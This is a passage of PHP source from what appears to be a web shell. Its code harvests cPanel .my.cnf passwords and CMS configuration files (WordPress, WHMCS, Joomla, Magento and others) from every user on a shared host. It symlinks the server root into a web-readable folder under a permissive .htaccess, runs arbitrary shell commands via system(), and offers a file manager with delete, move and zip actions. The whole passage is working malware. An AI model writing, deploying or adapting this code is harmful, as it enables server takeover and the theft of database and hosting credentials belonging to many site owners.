  1562. echo $s_o;
  1563. $s_k = file_get_contents("/etc/named.conf");
  1564. if($s_k == '') {
  1565. bacot('Server Not Found !!');
  1566. mtr("?".x5.$dir);
  1567. echo x9;
  1568. } else {
  1569. preg_match_all("#/var/named/(.*?).db#", $s_k, $s_v);
  1570. foreach($s_v[1] as $s_x) {
  1571. $s_g = posix_getpwuid(@fileowner("/etc/valiases/$s_x"));
  1572. $s_g = $s_g['name'];
  1573.  
  1574. if($s_g == $s_d) {
  1575. echo "<td class='td-file elip' style='padding:7px'><a href='http://$s_x'>http://$s_x</a> </td></table></div>"; break;}}}}}}}
  1576.  
  1577. switch ($i) {
  1578. case 0; mtr("? " .x5.$dir);
  1579. bacot('Server not found'); print x9;
  1580. break;
  1581. default:
  1582. print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1583.  
  1584. }
  1585. break;
  1586.  
  1587. case 'config':
  1588. $s_t = fopen("/etc/passwd", "r");
  1589. $s_z = mkdir("_config", 0777);
  1590. $s_s = "Options all\
  1591. Require None\
  1592. Satisfy Any";
  1593. $s_d = fopen("_config/.htaccess","w");
  1594. fwrite($s_d, $s_s);
  1595. while($s_q = fgets($s_t)) {
  1596. if($s_q == "" || !$s_t) {
  1597. bacot ('Can\'t Read etc/passwd !!');
  1598. } else {
  1599. preg_match_all('/(.*?):x:/', $s_q, $s_y);
  1600. foreach($s_y[1] as $s_p) {
  1601. $s_k = "/home/$s_p/public_html/";
  1602. if(is_readable($s_k)) {
  1603. $s_g = array(
  1604. "/home/$s_p/.my.cnf" => "cpanel",
  1605. "/home/$s_p/.accesshash" => "WHM-accesshash",
  1606. "/home/$s_p/public_html/bw-configs/config.ini" => "BosWeb",
  1607. "/home/$s_p/public_html/config/koneksi.php" => "Lokomedia",
  1608. "/home/$s_p/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  1609. "/home/$s_p/public_html/clientarea/configuration.php" => "WHMCS",
  1610. "/home/$s_p/public_html/whm/configuration.php" => "WHMCS",
  1611. "/home/$s_p/public_html/whmcs/configuration.php" => "WHMCS",
  1612. "/home/$s_p/public_html/forum/config.php" => "phpBB",
  1613. "/home/$s_p/public_html/sites/default/settings.php" => "Drupal",
  1614. "/home/$s_p/public_html/config/settings.inc.php" => "PrestaShop",
  1615. "/home/$s_p/public_html/app/etc/local.xml" => "Magento",
  1616. "/home/$s_p/public_html/joomla/configuration.php" => "Joomla",
  1617. "/home/$s_p/public_html/configuration.php" => "Joomla",
  1618. "/home/$s_p/public_html/wp/wp-config.php" => "WordPress",
  1619. "/home/$s_p/public_html/wordpress/wp-config.php" => "WordPress",
  1620. "/home/$s_p/public_html/wp-config.php" => "WordPress",
  1621. "/home/$s_p/public_html/admin/config.php" => "OpenCart",
  1622. "/home/$s_p/public_html/slconfig.php" => "Sitelok",
  1623. "/home/$s_p/public_html/application/config/database.php" => "Ellislab");
  1624. foreach($s_g as $s_h => $s_l) {
  1625. $s_r = file_get_contents($s_h);
  1626. if($s_r == '') {
  1627. print x9;
  1628. } else {
  1629. $fcS = fopen("_config/$s_p-$s_l.txt","w");
  1630. fputs($fcS,$s_r);
  1631. }}}}}}
  1632. bacot('Done');
  1633. print "<script>c('?".x5.$dir."/_config');</script>";
  1634. break;
  1635.  
  1636. case 'cpanel':
  1637. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CPANEL FINDER</td></table></div>';
  1638. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1) {
  1639. $ar0=explode($marqueurDebutLien, $text);
  1640. $ar1=explode($marqueurFinLien, $ar0[$i]);
  1641. return trim($ar1[0]);
  1642. }
  1643. $d0mains = @file('/etc/named.conf');
  1644. switch (true) {
  1645. case ($domains or $d0mains): switch (true) {
  1646. case (scandir("/var/named")):
  1647. print "<table><th class='th-file'> <center>Domain</center> </th><th class='th-file'> <center>Result</center></th></tr>";
  1648. $count=1; $dc = 0;
  1649. $list = scandir("/var/named");
  1650. foreach($list as $domain) {
  1651. switch(true) {
  1652. case (strpos($domain,".db")):
  1653. $domain = str_replace('.db','',$domain);
  1654. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1655. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  1656. $path = getcwd();
  1657.  
  1658. switch (true) {
  1659. case (is_readable($dirz)): copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  1660. $p = file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  1661. $password = entre2v2($p,'password="','"');
  1662. print "<tr>
  1663. <td class='td-file' style='width:150px'><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td>
  1664. <td class='td-file'><a class='a' href='".$owner['name'].".txt' target='_blank'>OPEN</a></td></tr>";
  1665. $dc++;
  1666. }
  1667. }
  1668. }
  1669.  
  1670. print '</table>';
  1671. $total = $dc;
  1672. print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total Cpanel : <button class='lawb' style='width:60px;position:relative;top:0px'>".$total."</button></div></div>";
  1673.  
  1674. break;
  1675. default: $d0mains = @file('/etc/named.conf');
  1676. if($d0mains) {
  1677. print "<table><tr><th class='th-file'> <center>Domain</center> </th><th class='th-file'> <center>Result</center> </th></tr>";
  1678. $count=1;
  1679. $dc = 0;
  1680. $mck = array();
  1681. foreach($d0mains as $d0main){
  1682. switch (true) {
  1683. case (@eregi('zone',$d0main)): preg_match_all('#zone "(.*)"#',$d0main,$domain);
  1684. flush();
  1685. switch (true) {
  1686. case (strlen(trim($domain[1][0])) >2):
  1687. $mck[] = $domain[1][0];
  1688. }
  1689. }
  1690. }
  1691. $mck = array_unique($mck);
  1692. $usr = array();
  1693. $dmn = array();
  1694. foreach($mck as $o) {
  1695. $files = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  1696. $usr[] = $files['name'];
  1697. $dmn[] = $o;
  1698. }
  1699. array_multisort($usr,$dmn);
  1700. $dt = file('/etc/passwd');
  1701. $passwd = array();
  1702. foreach($dt as $d) {
  1703. $r = explode(':',$d);
  1704. switch (true) {
  1705. case (strpos($r[5],'home')): $passwd[$r[0]] = $r[5];
  1706. }
  1707. }
  1708. $l=0; $j=1;
  1709. foreach($usr as $r) {
  1710. $dirz = '/home/'.$r.'/.my.cnf';
  1711. $path = getcwd();
  1712. switch (true) {
  1713. case (is_readable($dirz)): copy($dirz, $path.'/'.$r.'.txt');
  1714. $p = file_get_contents($path.'/'.$r.'.txt');
  1715. $password = entre2v2($p,'password="','"');
  1716. print "<tr>
  1717. <td class='td-file'><a target='_blank' href=http://".$dmn[$j-1]."/>".$dmn[$j-1]." </a></td>
  1718. <td class='td-file'><a href='".$r.".txt'>OPEN</a> </center></td></tr>";
  1719. $dc++;
  1720. flush();
  1721. $l=$l?0:1;
  1722. $j++;
  1723. }
  1724. }
  1725. } print '</table>';
  1726. $total = $dc;
  1727. print "<div class='coL-option' style='padding:7px;margin-top:3px'>Total Cpanel : <button class='lawb' style='width:60px;position:relative;top:0px'>".$total."</button></div></div>";
  1728. }
  1729. break;
  1730. default: mtr('?'.x5.$dir);
  1731. bacot('Permission denied'); print x9;
  1732. }
  1733. break;
  1734.  
  1735. case 'symlink':
  1736. print '<div class="coL-panel"><table>
  1737. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MULTIPLE SYMLINK</td></table></div>';
  1738.  
  1739. switch (true) {
  1740. case (is_readable("/etc/named.conf")): $named = '<a href="?' . x7 . 'named.conf&dir='.$dir.'">OPEN</a>';
  1741. break;
  1742. default: $named = '<font color="red">DISABLED</font>';
  1743. }
  1744.  
  1745. switch (true) {
  1746. case (is_readable("/etc/valiases")): $valiases = '<a href="?' . x7 . 'valiases&dir='.$dir.'">OPEN</a>';
  1747. break;
  1748. default: $valiases = '<font color="red">DISABLED</font>';
  1749. }
  1750.  
  1751. switch (true) {
  1752. case (is_readable("/etc/passwd")): $passwd = '<a href="?' . x7 . 'passwd&dir='.$dir.'">OPEN</a>';
  1753. break;
  1754. default : $passwd = '<font color="red">DISABLED</font>';
  1755. }
  1756.  
  1757. switch (true) {
  1758. case (is_readable("/var/named")): $var = '<a href="?' . x7 . 'var&dir='.$dir.'">OPEN</a>';
  1759. break;
  1760. default: $var = '<font color="red">DISABLED</font>';
  1761. }
  1762.  
  1763. print '<table class="table-file" cellspacing="0">';
  1764. print '<th class="th-file">From</th><th class="th-file">Arrow</th><th class="th-file">Action</th>';
  1765. print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/named.conf ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$named.'</a></center></td>';
  1766. print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/valiases ]</td><td class="td-file""><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$valiases.'</a></center></td>';
  1767. print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /etc/passwd ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$passwd.'</a></center></td>';
  1768. print '<tr><td class="td-file" style="padding:7px"><span class="label-success"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i></span> [ /var/named/ ]</td><td class="td-file"><center><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></center></td><td class="td-file"><center>'.$var.'</a></center></td>';
  1769. print '</table></div>';
  1770.  
  1771. @mkdir('pee', 0777); @symlink("/", "pee/root");
  1772. $htaccss = "Options all
  1773. DirectoryIndex Sux.html
  1774. AddType text/plain .php
  1775. AddHandler server-parsed .php
  1776. AddType text/plain .html
  1777. AddHandler txt .html
  1778. Require None
  1779. Satisfy Any";
  1780. file_put_contents("pee/.htaccess",$htaccss);
  1781. $ms_2 = file_get_contents("/etc/passwd");
  1782. $ms_2z = explode("\n",$ms_2);
  1783.  
  1784. foreach($ms_2z as $ms_3) {
  1785. $ms_1 = explode(":",$ms_3);
  1786. $ms_4 = posix_getcwd();
  1787. $dr = explode("/",$ms_4);
  1788.  
  1789. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1790. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/blog/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1791. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/wp/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1792. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/site/wp-config.php',"pee/".$ms_1[0].'-WordPress.txt');
  1793. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/config.php',"pee/".$ms_1[0].'-PhpBB.txt');
  1794. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/includes/config.php',"pee/".$ms_1[0].'-vBulletin.txt');
  1795. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1796. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/web/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1797. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/joomla/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1798. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/site/configuration.php',"pee/".$ms_1[0].'-Joomla.txt');
  1799. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/conf_global.php',"pee/".$ms_1[0].'-IPB.txt');
  1800. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/inc/config.php',"pee/".$ms_1[0].'-MyBB.txt');
  1801. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/Settings.php',"pee/".$ms_1[0].'-SMF.txt');
  1802. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/sites/default/settings.php',"pee/".$ms_1[0].'-Drupal.txt');
  1803. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/e107_config.php',"pee/".$ms_1[0].'-e107.txt');
  1804. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/datas/config.php',"pee/".$ms_1[0].'-Seditio.txt');
  1805. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/includes/configure.php',"pee/".$ms_1[0].'-osCommerce.txt');
  1806. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/client/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1807. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/clientes/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1808. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/support/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1809. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/supportes/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1810. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/whmcs/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1811. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/domain/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1812. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/hosting/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1813. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/whmc/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1814. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/billing/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1815. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/portal/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1816. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/order/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1817. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/clientarea/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt');
  1818. symlink('/'.$dr[1].'/'.$ms_1[0].'/'.$dr[3].'/domains/configuration.php',"pee/".$ms_1[0].'-WHMCS.txt'); }
  1819. break;
  1820.  
  1821. case 'named.conf': switch (true) {
  1822. case (is_readable("/etc/named.conf")):
  1823. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/NAMED.CONF ]</td></table></div>';
  1824. print '<table class="table-file" cellspacing="0">
  1825. <th class="th-file">Website</th>
  1826. <th class="th-file" style="width:60px">User</th>
  1827. <th class="th-file" style="width:60px">Action</th>';
  1828. $named = file_get_contents("/etc/named.conf");
  1829. preg_match_all('%zone \"(.*)\" {%', $named, $domains);
  1830. foreach($domains[1] as $domain) {
  1831. $domain = trim($domain); $i += 1;
  1832. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1833. print "<tr><td class='td-file elip' style='padding:7px'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://".$domain." '>".$domain."</a></td><td class='td-file'><center><font color='#1D9D73'>".$owner['name']."</font></center></td><td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1834. }
  1835. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1836. break;
  1837. default: print "<tr><td class='td-file'>can't read [ /etc/named.conf ]</td></tr>";
  1838. }
  1839. break;
  1840.  
  1841. case 'valiases': switch (true) {
  1842. case (is_readable("/etc/valiases")):
  1843. print '<div class="coL-panel"><table>
  1844. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/VALIASES ]</td></table></div>';
  1845. print '<table class="table-file" cellspacing="0">
  1846. <th class="th-file">Website</th>
  1847. <th class="th-file" style="width:60px">User</th>
  1848. <th class="th-file" style="width:60px">Action</th>';
  1849. $list = scandir("/etc/valiases");
  1850. foreach($list as $domain) { $i += 1;
  1851. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1852. print "<tr><td class='td-file elip' style='padding:7px'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://".$domain."'>".$domain."</a></td><center><td class='td-file'><font color='#1D9D73'>".$owner['name']."</font></center></td><td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1853. }
  1854. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1855. break;
  1856. default: print "<tr><td class='td-file'>can't read [ /etc/valiases ]</td></tr>";
  1857. }
  1858. break;
  1859.  
  1860. case 'passwd':
  1861. $etc = file_get_contents("/etc/passwd");
  1862. $etcz = explode("\n",$etc);
  1863. switch (true) {
  1864. case (is_readable("/etc/passwd")):
  1865. print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ ETC/PASSWD ]</td></table></div>';
  1866. print '<table class="table-file">
  1867. <th class="th-file">Website</th>
  1868. <th class="th-file" style="width:60px">User</th>
  1869. <th class="th-file" style="width:60px">Action</th>';
  1870. $list = scandir("/var/named");
  1871. foreach($etcz as $etz) {
  1872. $etcc = explode(":",$etz);
  1873. foreach($list as $domain) {
  1874. switch (true) { case (strpos($domain,".db")):
  1875. $domain = str_replace('.db','',$domain);
  1876. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  1877. switch (true) { case ($owner['name'] == $etcc[0]): $i += 1;
  1878. print "<tr><td class='td-file elip'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://".$domain." '>".$domain."</a></td>
  1879. <td class='td-file'><center><font color='#1D9D73'>".$owner['name']."</font></center></td>
  1880. <td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1881. }
  1882. }
  1883. }
  1884. }
  1885. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1886. }
  1887. break;
  1888.  
  1889. case 'var': switch (true) {
  1890. case (is_readable("/var/named")):
  1891. print '<div class="coL-panel"><table>
  1892. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">SYMLINK [ VAR/NAMED ]</td></table></div>';
  1893. print '<table class="table-file">
  1894. <th class="th-file">Website</th>
  1895. <th class="th-file" style="width:60px">User</th>
  1896. <th class="th-file" style="width:60px">Action</th>';
  1897. $ms_5 = scandir("/var/named");
  1898. foreach($ms_5 as $ms_6) {
  1899. switch (true) {
  1900. case (strpos($ms_6,".db")): $i += 1;
  1901. $ms_6 = str_replace('.db','',$ms_6);
  1902. $owner = posix_getpwuid(fileowner("/etc/valiases/".$ms_6));
  1903. print "<tr><td class='td-file elip'> <span class='label-success'><i class='zmdi zmdi-globe zmdi-hc-fw'></i></span> <a href='http://".$ms_6." '>".$ms_6."</a></td>
  1904. <td class='td-file'><center><font color='#1D9D73'>".$owner['name']."</font></center></td>
  1905. <td class='td-file'><center><a href='pee/root".$owner['dir']."/".$dr[3]."' target='_blank'>OPEN</a></center></td>";
  1906. }
  1907. }
  1908. print "</table><div class='coL-option' style='padding:7px;margin-top:3px'>Total Domain : <button class='lawb' style='width:60px;position:relative;top:0px'>".$i."</button></div></div>";
  1909. break;
  1910. default: print "<tr><td class='td-file'>can't read [ /var/named ]</td></table>";
  1911. }
  1912. break;
  1913.  
  1914. case 'cmd': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">CONSOLE</td></table></div>';
  1915. print '<div class="coL-option">';
  1916. print '<pre style="font-family: Play;min-height:200px;font-size:14px;padding:7px" class="label-success">';
  1917. if(isset($_UNDERXPLOIT['cmd']) && $_UNDERXPLOIT['cmd']!='') {
  1918. $exec = jmbt(system($_UNDERXPLOIT['cmd'].' 2>&1'));
  1919. switch ($exec) {
  1920. case NULL:
  1921. header('location: ?' . x5 . $dir);
  1922. break;
  1923. default:
  1924. }
  1925. }
  1926. print '</pre>
  1927. <script type="text/javascript"> function gp() {
  1928. if(document.getElementById("csl").value == ""){'; s('Enter your command');
  1929. print 'return false;
  1930. } document.getElementById("egv").submit();
  1931. } </script>
  1932. <table style="margin-top:7px" cellspacing="0"><form method="POST" action="?' . x7 . 'cmd&' . x5 . $dir . '">
  1933. <td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
  1934. <td style="width:70%;padding-left:3px;padding-right:3px"><input type="text" placeholder="$" name="cmd" id="csl"></td><td style="width:20%;text-align:right"><button type="submit" class="btn-exe" onclick="gp(); return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>
  1935. </table></div></div>';
  1936. break;
  1937.  
  1938. case 'error': print '<div class="coL-panel"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>';
  1939. bacot('Permission denied'); print x9;
  1940. break;
  1941.  
  1942. default:
  1943. $ddir = @getcwd();
  1944. if (isset($_UNDERXPLOIT['from']))
  1945. @chdir($_UNDERXPLOIT['from']);
  1946. $cwd = @getcwd();
  1947.  
  1948. switch ($os) {
  1949. case ('win'):
  1950. $ddir = str_replace("\\", "/", $ddir);
  1951. $cwd = str_replace("\\", "/", $cwd);
  1952. break;
  1953. } if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
  1954. function hs($str) {
  1955. switch (true) {
  1956. case (function_exists("scandir")): return scandir($str);
  1957. break;
  1958. default: $cdm = opendir($str);
  1959. while (false !== ($filename = readdir($cdm))) $data[] = $filename;
  1960. return $data;
  1961. }
  1962. }
  1963. if (!empty($_COOKIE['target'])) $_COOKIE['target'] = @unserialize($_COOKIE['target']);
  1964. if (!empty($_UNDERXPLOIT['hcx'])) {
  1965. switch ($_UNDERXPLOIT['hcx']) {
  1966. case 'delete': function deleteDir($path) {
  1967. $path = (substr($path, -1) == '/') ? $path : $path . '/';
  1968. $cdm = opendir($path);
  1969. while (($â–Ÿ = readdir($cdm)) !== false) {
  1970. $â–Ÿ = $path . $â–Ÿ;
  1971. if ((basename($â–Ÿ) == "..") || (basename($â–Ÿ) == ".")) continue;
  1972. $type = filetype($â–Ÿ);
  1973. if ($type == "dir") deleteDir($â–Ÿ); else @unlink($â–Ÿ);
  1974. }
  1975. closedir($cdm);
  1976. @rmdir($path);
  1977. }
  1978.  
  1979. if (is_array(@$_UNDERXPLOIT['target']))
  1980. foreach($_UNDERXPLOIT['target'] as $f) {
  1981. if ($f == '..') continue;
  1982. $f = urldecode($f);
  1983. if (is_dir($f)) deleteDir($f); else @unlink($f);
  1984. }
  1985. break;
  1986.  
  1987. case 'paste':
  1988. if ($_COOKIE['act'] == 'copy') {
  1989. function copas($c, $s, $d) {
  1990. if (is_dir($c . $s)) { mkdir($d . $s);
  1991. $h = @opendir($c . $s);
  1992. while (($f = @readdir($h)) !== false)
  1993. if (($f != ".") and ($f != "..")) copas($c . $s . '/', $f, $d . $s . '/');
  1994. } else if (is_file($c . $s)) @copy($c . $s, $d . $s);
  1995. }
  1996. foreach($_COOKIE['target'] as $f) copas($_COOKIE['from'], $f, $GLOBALS['cwd']);
  1997. }
  1998. elseif ($_COOKIE['act'] == 'move') {
  1999. function mopas($c, $s, $d) {
  2000. if (is_dir($c . $s)) { mkdir($d . $s);
  2001. $h = @opendir($c . $s);
  2002. while (($f = @readdir($h)) !== false)
  2003. if (($f != ".") and ($f != "..")) copas($c . $s . '/', $f, $d . $s . '/');
  2004. } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
  2005. }
  2006. foreach($_COOKIE['target'] as $f) @rename($_COOKIE['from'] . $f, $GLOBALS['cwd'] . $f);
  2007. }
  2008. elseif ($_COOKIE['act'] == 'zip') {
  2009. if (class_exists('ZipArchive')) {
  2010. $zip = new ZipArchive();
  2011. if ($zip -> open($_UNDERXPLOIT['xpoz'], 1)) {
  2012. chdir($_COOKIE['from']);
  2013. foreach($_COOKIE['target'] as $f) {
  2014. if ($f == '..') continue;
  2015. if (@is_file($_COOKIE['from'] . $f)) $zip -> addFile($_COOKIE['from'] . $f, $f);
  2016. elseif (@is_dir($_COOKIE['from'] . $f)) {
  2017. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
  2018. foreach($iterator as $key => $value) {
  2019. $zip -> addFile(realpath($key) , $key);
  2020. }
  2021. }
  2022. }
  2023. chdir($GLOBALS['cwd']);
  2024. $zip -> close();
  2025. }
  2026. }
  2027. }
  2028. unset($_COOKIE['target']);
  2029. setcookie('target', '', time() - 3600);
  2030. break;
  2031. default:
  2032. switch (true) {
  2033. case (!empty($_UNDERXPLOIT['hcx'])):
  2034. vb('act', $_UNDERXPLOIT['hcx']);
  2035. vb('target', serialize(@$_UNDERXPLOIT['target']));
  2036. vb('from', @$_UNDERXPLOIT['from']);
  2037. }
  2038. break;
  2039. }
  2040. }
  2041. print '<script type="text/javascript"> function m1s() {
  2042. if(document.getElementById("act").value == "") {';
  2043. s('Select action');
  2044. print 'return false;
  2045. }
  2046. document.getElementById("sks").submit();
  2047. }
  2048. </script>
  2049. <form name="data" action="?dir=' . $dir . '" method="POST" style="margin:0px"><div class="coL-panel"><table>
  2050. <td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">FILE MANAGER</td></table></div>';
  2051.  
  2052. $dirContent = hs(isset($_UNDERXPLOIT['from']) ? $_UNDERXPLOIT['from'] : $GLOBALS['cwd']);
  2053. switch ($dirContent) {
  2054. case (false): print '<script type="text/javascript">c("?' . x7 . 'error&' . x5 . $dir . '");</script>';
  2055. return;
  2056. }
  2057.  
  2058. global $sort;
  2059. $sort = array(
  2060. 'name',
  2061. 1
  2062. );
  2063.  
  2064. switch (true) {
  2065. case (!empty($_UNDERXPLOIT['hcx'])):
  2066. if (preg_match('!s_([A-z]+)_(\d{1})!', $_UNDERXPLOIT['hcx'], $match)) $sort = array(
  2067. $match[1], (int)$match[2]);
  2068. }
  2069.  
  2070. print '<script language="JavaScript">
  2071. function grow(isChecked) {
  2072. if(isChecked) {
  2073. $(\'input[name="target[]"]\').each(function() {
  2074. this.checked = true;
  2075. });
  2076. } else {
  2077. $(\'input[name="target[]"]\').each(function() {
  2078. this.checked = false;
  2079. });
  2080. }
  2081. } </script>';
  2082.  
  2083. print '<table class="table-file" cellspacing="0">
  2084. <th class="th-file">Name</th>
  2085. <th class="th-file" style="width:80px" id="wh">Access</th>
  2086. <th class="th-file" style="width:80px">Size</th>
  2087. <th class="th-file" style="width:65px">Action</th>
  2088. <th class="th-file"></th>
  2089. <tr>';
  2090.  
  2091. $dir = getcwd();
  2092. $scn = scandir($dir);
  2093.  
  2094. foreach($scn as $_axu) {
  2095.  
  2096. $dtype = filetype("$dir/$_axu");
  2097.  
  2098. switch (true) {
  2099. case (!is_dir("$dir/$_axu")): continue 2;
  2100. break;
  2101. }
  2102.  
  2103. switch ($_axu) {
  2104. case ('..'): $_axe = '<a class="a" onclick=\'c("?' . x5 . dirname($dir) . '")\'>' . $_axu . '</a>';
  2105. break;
  2106. case ('.'): $_axe = '<a class="a" onclick=\'c("?' . x5 . $dir . '")\'>' . $_axu . '</a>';
  2107. break;
  2108. default: $_axe = '<a class="a" onclick=\'c("?dir=' . $dir . '/' . $_axu . '")\'>' . $_axu . '</a>';
  2109. $xdir += 1;
  2110. }
  2111.  
  2112. switch (true) {
  2113. case($_axu == '.' || $_axu == '..'): $_axo = '--';
  2114. $ckh = '<label><input type="checkbox" disabled><span class="icon"><i class="zmdi zmdi-check zmdi-hc-fw"></i></span></label>';
  2115. break;
  2116. default: $_axo = '<a class="a" id="button-'.crc32($_axu).'">OPEN</a>';
  2117. $ckh = '<label><input type="checkbox" value="' . basename($_axu) . '" name="target[]"><span class="icon"><i class="zmdi zmdi-check zmdi-hc-fw"></i></span></label>';
  2118. }
  2119.  
  2120. print '<tr>';
  2121. print '<td class="td-file elip"><i class="zmdi zmdi-folder-outline zmdi-hc-fw"></i>&nbsp;[ ' . $_axe . ' ]</td>';
  2122. print '<td align="center" id="wh" class="td-file">' . perms($_axu) . '</td>';
  2123. print '<td align="center" class="td-file"><center>--</center></th>';
  2124. print '<td align="center" class="td-file"> ' . $_axo . '</td>';
  2125.  
  2126. print "<div id='cr-".crc32($_axu)."' class='hidden'>
  2127. <a onclick=\"c('?" . x7 . "upload&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-upload zmdi-hc-fw'></i></a>
  2128. <a onclick=\"c('?" . x7 . "renadir&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-flip zmdi-hc-fw'></i></a>
  2129. <a onclick=\"c('?" . x7 . "chmdir&" . x5 . $dir . "/" . $_axu . "')\"><i class='zmdi zmdi-wrench zmdi-hc-fw'></i></a>
